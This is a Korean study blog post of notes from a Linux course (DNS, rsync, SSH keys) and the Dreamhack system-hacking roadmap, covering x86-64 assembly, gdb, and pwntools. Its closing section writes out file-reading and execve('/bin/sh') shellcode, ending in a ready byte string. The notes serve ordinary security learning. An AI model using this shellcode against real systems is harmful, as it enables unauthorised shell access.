1. 인프런 '생활코딩-리눅스' 강의를 함께 듣고 공부했다.
- 섹션 10. 도메인
- 섹션 11. 인터넷을 통한 서버간 동기화
- 섹션 12. 로그인 없이 로그인 하기
2. 드림핵 'System Hacking' 로드맵을 함께 듣고 공부했다.
- System Hacking Introduction
- Background - Computer Science
- Tool Installation
- Shellcode
https://dreamhack.io/lecture/roadmaps/2
섹션 10. 도메인
1. DNS (Domain name system)
사용자가 브라우저를 통해 도메인 이름 (예: google.com)으로 서버에 접속할 때, DNS 서버를 통해 해당 도메인의 IP 주소를 조회하여 실제 서버에 연결합니다.
2. hosts 파일
: 도메인 네임과 IP Address를 매핑하는 파일. 각각의 컴퓨터마다 hosts 파일을 가지며, DNS 이전에는 hosts 파일을 통해 접속.
- 어떤 도메인에 접속 시도를 하면 local의 hosts 파일부터 살피게 되고, 찾는 내용이 없을 때 DNS에 접속 → 이런 특성 때문에 hosts에 대한 악의적인 변조 공격이 가능
network : 각 host의 모임
internet : network의 모임
3. 도메인 구입
: 도메인 네임을 독점적으로 사용하기 위해서 도메인을 구입. 도메인 네임을 구입하고 `curl` 명령어를 통해 나온 IP 주소를 등록하면 사용 가능.
4. 서브 도메인
: 하나의 서버는 하나의 도메인과 매칭. 서브 도메인은 서버가 여러개일때 도메인을 재사용하는 것.
ex) egoing.ga -> admin.egoing.ga, blog.egoing.ga 등등
5. DNS의 동작 원리
`dig +trace egoing.ga` : 도메인의 IP 주소를 리턴하기 위해 거쳐가는 서버들을 알려줌
(1) egoing.ga. 에 접속한다.
(2) root DNS에.ga를 담당하는 DNS 서버 목록을 물어본다.
(3) 반환받은 DNS 서버(ga DNS 서버) 중에 하나에 egoing.ga.를 관리하는 DNS 서버를 물어본다.
(4) 반환받은 DNS 서버(egoing.ga DNS 서버)에 최종적으로 IP 주소를 묻게된다 → 최종적으로 IP 주소가 나올 때까지 DNS 서버에 묻는 것을 반복한다.
섹션 11. 인터넷을 통한 서버간 동기화 rsync
rsync 1 : Basic
`r` : remote의 약자
`sync` : 각 컴퓨터의 변경내용을 다른 컴퓨터에도 반영되도록하여 동일한 상태를 유지하는것.
`rsyn`c : 인터넷을 통해 sync할 수 있도록하는 프로그램. 파일 카피, 백업 등에 사용.
`rsync -av src/ dest` : 변동 내용만 복제.
src와 dest 디렉토리를 만들어 두 디렉토리를 동기화, src 폴더에 파일을 만든 후 `rsync -a src/ dest`를 입력하면 dest라는 디렉토리 안에 src 디렉토리 아래의 파일이 복제됨.
rsync 2 : Remote sync
다른 컴퓨터에 sync를 진행
(1) 동기화하고자 하는 컴퓨터의 IP를 알아낸다
(2) `rsync -azP ~/rsync/src/ k8805@192.168.0.65:~/rsync/dest` 를 통해 dest 디렉토리에 src의 파일을 복제할 수 있다. (cf. -z : zip)
섹션 12. 로그인 없이 로그인 하기 ssh key
ssh public private key
: ssh 공개키, 비공개 키를 이용해 로그인
`ssh-keygen` : /home/egoing/.ssh/id_rsa에 키쌍을 생성. id_ras (비밀키), id_rsa.pub (공개키) 파일 생성.
로그인하고자하는 컴퓨터에 공개키를 저장하게 되면 비밀번호 없이 로그인 가능.
: authorized_keys에 pub key를 추가하면 됨 → `ssh-copy-id egoing@192.168.0.67`를 이용해 추가 가능 (여기서 egoing@192.168.0.67는 로그인하고자 하는 컴퓨터)
rsync
: ssh키를 이용하면 로그인 없이 rsync를 이용할 수 있음 → crone 기능을 이용하여 자동화를 할 수 있음
RSA
비대칭 암호화 : 암호화와 복호화에 사용되는 키가 다른 암호화
암호화는 비밀키를 통해, 복호화는 공개키를 통해서 진행
ssh 인증과정
- ssh client가 ssh sever(접속대상)에 접속하면 ssh sever가 랜덤키를 전달한다
- ssh client는 랜덤키를 id_rsa(비밀키) 통해 암호화하여 sever에 전달한다
- ssh sever는 authorized_keys에 저장된 client의 공개키를 이용하여 복호화하여 전달한 랜덤키의 값과 같은지 확인한다.
System Hacking Introduction
환경구축
Ubuntu 22.04 기반
윈도우 : VMware, VirtualBox, WSL2
맥 : VirtualBox
Background - Computer Science
1. Computer Architecture
(1) 컴퓨터 구조
: 컴퓨터가 효율적으로 작동할 수 있도록 하드웨어 및 소프트웨어의 기능을 고안하고, 이들을 구성하는 방법. 컴퓨터의 기능 구조에 대한 설계, 명령어 집합구조, 마이크로 아키텍처, 하드웨어 및 컴퓨팅 방법에 대한 설계 등.
- 폰 노이만 구조 : 중앙처리장치(CPU) + 기억장치(memory) + 버스(bus)
(2) 명령어 집합 구조 (ISA)
: CPU가 해석하는 명령어의 집합. IA-32, x86-64(x64), MIPS, AVR 등 다양한 연산 수준과 컴퓨터 환경에 맞추기 위해 개발.
(3) x86-64 아키텍처
: 가장 널리 사용되는 ISA
인텔의 32비트 CPU 아키텍처 IA-32 ---(64비트 확장)--> AMD의 AMD64 아키텍처
-> 이를 기반으로 발표된 다양한 이름의 아키텍처 => x86-64 (범용적, 중립적 지칭)
(4) x86-64 아키텍처의 레지스터
레지스터 : CPU가 데이터를 빠르게 저장하고 사용할 때 이용하는 보관소
- 범용 레지스터(General Register)
- 세그먼트 레지스터(Segment Register)
- 플래그 레지스터(Flag Register)
레지스터 호환 : x86-64는 IA-32의 64비트 확장 아키텍처이므로 호환이 가능
2. Linux Memory Layout
(1) 세그먼트 (Segment) : 적재되는 데이터의 용도별로 메모리의 구획을 나눈 것
(2) 코드 세그먼트 (Code Segment) : 텍스트 세그먼트(Text Segment) , 실행 가능한 기계 코드가 위치하는 영역
(3) 데이터 세그먼트 (Data Segment) : 컴파일 시점에 값이 정해진 전역 변수 및 전역 상수들이 위치
(4) BSS 세그먼트 (BSS Segment, Block Started By Symbol Segment) : 컴파일 시점에 값이 정해지지 않은 전역 변수가 위치
(5) 스택 세그먼트 (Stack Segment) : 프로세스의 스택이 위치.
(6) 힙 세그먼트 (Heap Segment) : 힙 데이터가 위치. 실행중에 동적으로 할당. 스택 세그먼트와 반대 방향으로 자람(충돌 방지).
3. x86 Assembly
(1) 어셈블리어 (Assembly Language)
: 컴퓨터의 기계어와 치환되는 언어. 명령어 집합구조가 다양함에 따라 어셈블리어도 여러 종류,
- 어셈블러(Assembler) : 어셈블리어 -> 기계
- 역어셈블러(Disassembler) : 기계어 -> 어셈블리어
(2) x86-64 어셈블리어
- 기본 구조 : 명령어(Operation Code, Opcode) + 피연산자(Operand)
- 명령어
- 데이터 이동 : mov, lea
- 산술 연산: add, sub, inc, dec
- 논리 연산: and, or, xor, not
- 비교: cmp, test
- 분기: jmp, je, jg
- 스택 : push, pop
- 프로시져 : call, ret, leave
- 시스템 콜 : syscall
- 피연산자 : []으로 둘러싸인 것으로 표현
- 상수(Immediate Value)
- 레지스터(Register)
- 메모리(Memory)
- 앞에 크기 지정자(Size Directive) TYPE PTR이 추가될 수 있음.
: BYTE(1바이트), WORD(2바이트), DWORD(4바이트), QWORD(8바이트)
Tool Installation
1. gdb
: 바이너리 분석 용도 플러그인
- entry: 진입점에 중단점을 설정한 후 실행
- break(b): 중단점 설정
- continue(c): 계속 실행
- disassemble: 디스어셈블 결과 출력
- u, nearpc, pd: 디스어셈블 결과 가독성 좋게 출력
- x: 메모리 조회
- run(r): 프로그램 처음부터 실행
- context: 레지스터, 코드, 스택, 백트레이스의 상태 출력
- nexti(ni): 명령어 실행, 함수 내부로는 들어가지 않음
- stepi(si): 명령어 실행, 함수 내부로 들어감
- telescope(tele): 메모리 조회, 메모리값이 포인터일 경우 재귀적으로 따라가며 모든 메모리값 출력
- vmmap: 메모리 레이아웃 출력
2. pwntools
: 바이너리 익스플로잇과 같은 보안 문제를 해결하기 위한 파이썬 라이브러리
- process & remote : 익스프로잇 수행
- send & recv : 데이터 송수신
- packing & unpacking : 정수 <-> 바이트 배열
- interacitve : 프로세스 또는 서버와 터미널로 직접 통신
- context.arch: 익스플로잇 대상의 아키텍처
- context.log_level: 익스플로잇 과정에서 출력할 정보의 중요도
- ELF: ELF헤더의 여러 중요 정보 수집
- shellcraft: 다양한 셸 코드를 제공
- asm: 어셈블리 코드를 기계어로 어셈블
Shellcode
익스플로잇(Exploit) : 상대 시스템을 공격하는 것
셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.
1. orw 셸코드
: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.
[예시] "/tmp/flag"를 읽는 셸코드
- 셸코드의 동작을 C언어 형식의 의사코드로 표현한 것
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
- 필요 syscall
syscall | rax | rdi | rsi | rdx |
read | 0x00 | fd | *buf | count |
write | 0x01 | fd | buf* | count |
open | 0x02 | *filename | flags | mode |
- c 코드 어셈블리어 구현
(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
(2) read : read(fd, buf, 0x30);
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
(3) write : write(1, buf, 0x30);
mov rdi, 1
mov rax, 0x1
syscall
2. execve 셸코드
: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득.
syscall | rax | rdi | rsi | rdx |
execve | 0x3b | *filename | *argv | *envp |
- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수
- `evecve("/bin/sh", null, null)` 어셈블리어로 작성
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
3. 셸코드 제작
- 셸코드 컴파일 및 실행
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.
- 셸코드를 바이트코드(opcode)로 추출
(1) 셸코드 asm 파일 생성
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
(2) shellcode.o 파일 생성 후 objdump로 확인
$ sudo apt-get install nasm # nasm 패키지 설치
$ nasm -f elf shellcode.asm # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성
$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
(4) 완성된 바이트 코드
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
[실습] shell_basic
'3. Pwnable (포너블) > 2) 개념 정리' 카테고리의 다른 글
[24.05.18] 7주차 활동- 포너블 개념 (0) | 2024.05.18 |
---|---|
[24.05.11] 6주차 활동- 포너블 개념 (0) | 2024.05.11 |
[24.03.30] 3주차 활동 - 리눅스 기초 (0) | 2024.04.02 |
[2024.03.23] 2주차 활동 - 리눅스 기초 (2) | 2024.03.23 |
[2024.03.16] 1주차 활동 - 리눅스 기초 (1) | 2024.03.17 |